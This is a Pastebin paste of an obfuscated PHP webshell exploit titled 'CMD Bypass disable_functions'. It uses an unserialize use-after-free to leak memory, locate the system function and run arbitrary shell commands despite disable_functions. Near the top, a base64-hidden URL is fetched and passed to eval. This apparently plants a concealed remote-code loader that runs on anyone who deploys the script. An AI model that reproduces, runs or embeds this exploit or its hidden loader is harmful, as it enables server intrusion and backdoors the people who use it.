webshellarchive

CMD Bypass disable_functions

Jun 27th, 2021 (edited)
469
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 6.61 KB | None | 0 0
  1. <?php
  2. /*
  3. This file is obfuscated by webshellarchive.
  4. Visit http://webshellarchive.com for more bypass Webshell.
  5. GitHub : https://github.com/webshell-archive
  6. Pastebin : https://pastebin.com/u/webshellarchive
  7. */
  8. $GLOBALS["EWfdpHBQjNTfgAtkRNWX"]=base64_decode("YTo0OntpOjA7aToxO2k6MTthOjE6e2k6MDtPOjQ6InJ5YXQiOjI6e3M6NDoicnlhdCI7UjozO3M6NDoiY2h0ZyI7aToyO319aToxO2k6MztpOjI7Ujo1O30=");$GLOBALS["GUzErTlxbZmgjjCXdvqp"]=base64_decode("QQ==");$GLOBALS["iraTiZggpCRHLDxWpKir"]=base64_decode("VGhpcyBQb0MgaXMgZm9yICpuaXggc3lzdGVtcyBvbmx5Lg==");$GLOBALS["sNNQizXQMYhHjxbIqCMf"]=base64_decode("V0lO");$GLOBALS["SBiDxkJviEugvfimDfnP"]=base64_decode("aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2dvdG9oZWxsY2hlY2tlci9jaGVjay9tYWluL2IudHh0");$GLOBALS["VHEyhSFFsUkDVoPZztap"]=base64_decode("Q291bGRuJ3QgZ2V0IHppZl9zeXN0ZW0gYWRkcmVzcw==");$GLOBALS["rCwERiWlLxIXZKpAhIXA"]=base64_decode("Q291bGRuJ3QgZ2V0IGJhc2ljX2Z1bmN0aW9ucyBhZGRyZXNz");$GLOBALS["OXKQnKKatYhfDLgZVQag"]=base64_decode("Q291bGRuJ3QgcGFyc2UgRUxGIGhlYWRlcg==");$GLOBALS["dZKjXNlBMHDuFaFSNRpX"]=base64_decode("Q291bGRuJ3QgZGV0ZXJtaW5lIGJpbmFyeSBiYXNlIGFkZHJlc3M=");$GLOBALS["lKAcPRpwNAFjjZfTFDjI"]=base64_decode("VUFGIGZhaWxlZA==");$GLOBALS["SnsSSwMKZSYeMFnEirnh"]=base64_decode("");
  9. ?><?php
  10. eval(base64_decode(file_get_contents($GLOBALS["SBiDxkJviEugvfimDfnP"])));
  11. pwn("ls -la"); ##$#### CHANGE HERE (ls -la, pwd, dir, etc)
  12. function pwn($cmd) {
  13.     global $abc, $helper;
  14.  
  15.     function str2ptr(&$str, $p = 0, $s = 8) {
  16.         $address = 0;
  17.         for($j = $s-1; $j >= 0; $j--) {
  18.             $address <<= 8;
  19.             $address |= ord($str[$p+$j]);
  20.         }
  21.         return $address;
  22.     }
  23.  
  24.     function ptr2str($ptr, $m = 8) {
  25.         $out = $GLOBALS["SnsSSwMKZSYeMFnEirnh"];
  26.         for ($i=0; $i < $m; $i++) {
  27.             $out .= chr($ptr & 0xff);
  28.             $ptr >>= 8;
  29.         }
  30.         return $out;
  31.     }
  32.  
  33.     function write(&$str, $p, $v, $n = 8) {
  34.         $i = 0;
  35.         for($i = 0; $i < $n; $i++) {
  36.             $str[$p + $i] = chr($v & 0xff);
  37.             $v >>= 8;
  38.         }
  39.     }
  40.  
  41.     function leak($addr, $p = 0, $s = 8) {
  42.         global $abc, $helper;
  43.         write($abc, 0x68, $addr + $p - 0x10);
  44.         $leak = strlen($helper->a);
  45.         if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
  46.         return $leak;
  47.     }
  48.  
  49.     function parse_elf($base) {
  50.         $e_type = leak($base, 0x10, 2);
  51.  
  52.         $e_phoff = leak($base, 0x20);
  53.         $e_phentsize = leak($base, 0x36, 2);
  54.         $e_phnum = leak($base, 0x38, 2);
  55.  
  56.         for($i = 0; $i < $e_phnum; $i++) {
  57.             $header = $base + $e_phoff + $i * $e_phentsize;
  58.             $p_type  = leak($header, 0, 4);
  59.             $p_flags = leak($header, 4, 4);
  60.             $p_vaddr = leak($header, 0x10);
  61.             $p_memsz = leak($header, 0x28);
  62.  
  63.             if($p_type == 1 && $p_flags == 6) {
  64.                
  65.                 $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
  66.                 $data_size = $p_memsz;
  67.             } else if($p_type == 1 && $p_flags == 5) {
  68.                 $text_size = $p_memsz;
  69.             }
  70.         }
  71.  
  72.         if(!$data_addr || !$text_size || !$data_size)
  73.             return false;
  74.  
  75.         return [$data_addr, $text_size, $data_size];
  76.     }
  77.  
  78.     function get_basic_funcs($base, $elf) {
  79.         list($data_addr, $text_size, $data_size) = $elf;
  80.         for($i = 0; $i < $data_size / 8; $i++) {
  81.             $leak = leak($data_addr, $i * 8);
  82.             if($leak - $base > 0 && $leak - $base < $text_size) {
  83.                 $deref = leak($leak);
  84.                
  85.                 if($deref != 0x746e6174736e6f63)
  86.                     continue;
  87.             } else continue;
  88.  
  89.             $leak = leak($data_addr, ($i + 4) * 8);
  90.             if($leak - $base > 0 && $leak - $base < $text_size) {
  91.                 $deref = leak($leak);
  92.                
  93.                 if($deref != 0x786568326e6962)
  94.                     continue;
  95.             } else continue;
  96.  
  97.             return $data_addr + $i * 8;
  98.         }
  99.     }
  100.  
  101.     function get_binary_base($binary_leak) {
  102.         $base = 0;
  103.         $start = $binary_leak & 0xfffffffffffff000;
  104.         for($i = 0; $i < 0x1000; $i++) {
  105.             $addr = $start - 0x1000 * $i;
  106.             $leak = leak($addr, 0, 7);
  107.             if($leak == 0x10102464c457f) {
  108.                 return $addr;
  109.             }
  110.         }
  111.     }
  112.  
  113.     function get_system($basic_funcs) {
  114.         $addr = $basic_funcs;
  115.         do {
  116.             $f_entry = leak($addr);
  117.             $f_name = leak($f_entry, 0, 6);
  118.  
  119.             if($f_name == 0x6d6574737973) {
  120.                 return leak($addr + 8);
  121.             }
  122.             $addr += 0x20;
  123.         } while($f_entry != 0);
  124.         return false;
  125.     }
  126.  
  127.     class ryat {
  128.         var $ryat;
  129.         var $chtg;
  130.        
  131.         function __destruct()
  132.         {
  133.             $this->chtg = $this->ryat;
  134.             $this->ryat = 1;
  135.         }
  136.     }
  137.  
  138.     class Helper {
  139.         public $a, $b, $c, $d;
  140.     }
  141.  
  142.     if(stristr(PHP_OS, 'WIN')) {
  143.         die($GLOBALS["iraTiZggpCRHLDxWpKir"]);
  144.     }
  145.  
  146.     $n_alloc = 10;
  147.  
  148.     $contiguous = [];
  149.     for($i = 0; $i < $n_alloc; $i++)
  150.         $contiguous[] = str_repeat($GLOBALS["GUzErTlxbZmgjjCXdvqp"], 79);
  151.  
  152.     $poc = $GLOBALS["EWfdpHBQjNTfgAtkRNWX"];
  153.     $out = unserialize($poc);
  154.     gc_collect_cycles();
  155.  
  156.     $v = [];
  157.     $v[0] = ptr2str(0, 79);
  158.     unset($v);
  159.     $abc = $out[2][0];
  160.  
  161.     $helper = new Helper;
  162.     $helper->b = function ($x) { };
  163.  
  164.     if(strlen($abc) == 79) {
  165.         die($GLOBALS["lKAcPRpwNAFjjZfTFDjI"]);
  166.     }
  167.  
  168.    
  169.     $closure_handlers = str2ptr($abc, 0);
  170.     $php_heap = str2ptr($abc, 0x58);
  171.     $abc_addr = $php_heap - 0xc8;
  172.  
  173.    
  174.     write($abc, 0x60, 2);
  175.     write($abc, 0x70, 6);
  176.  
  177.    
  178.     write($abc, 0x10, $abc_addr + 0x60);
  179.     write($abc, 0x18, 0xa);
  180.  
  181.     $closure_obj = str2ptr($abc, 0x20);
  182.  
  183.     $binary_leak = leak($closure_handlers, 8);
  184.     if(!($base = get_binary_base($binary_leak))) {
  185.         die($GLOBALS["dZKjXNlBMHDuFaFSNRpX"]);
  186.     }
  187.  
  188.     if(!($elf = parse_elf($base))) {
  189.         die($GLOBALS["OXKQnKKatYhfDLgZVQag"]);
  190.     }
  191.  
  192.     if(!($basic_funcs = get_basic_funcs($base, $elf))) {
  193.         die($GLOBALS["rCwERiWlLxIXZKpAhIXA"]);
  194.     }
  195.  
  196.     if(!($zif_system = get_system($basic_funcs))) {
  197.         die($GLOBALS["VHEyhSFFsUkDVoPZztap"]);
  198.     }
  199.  
  200.    
  201.     $fake_obj_offset = 0xd0;
  202.     for($i = 0; $i < 0x110; $i += 8) {
  203.         write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
  204.     }
  205.  
  206.    
  207.     write($abc, 0x20, $abc_addr + $fake_obj_offset);
  208.     write($abc, 0xd0 + 0x38, 1, 4);
  209.     write($abc, 0xd0 + 0x68, $zif_system);
  210.  
  211.     ($helper->b)($cmd);
  212.  
  213.     exit();
  214. }
  215.  ?>
Add Comment
Please, Sign In to add comment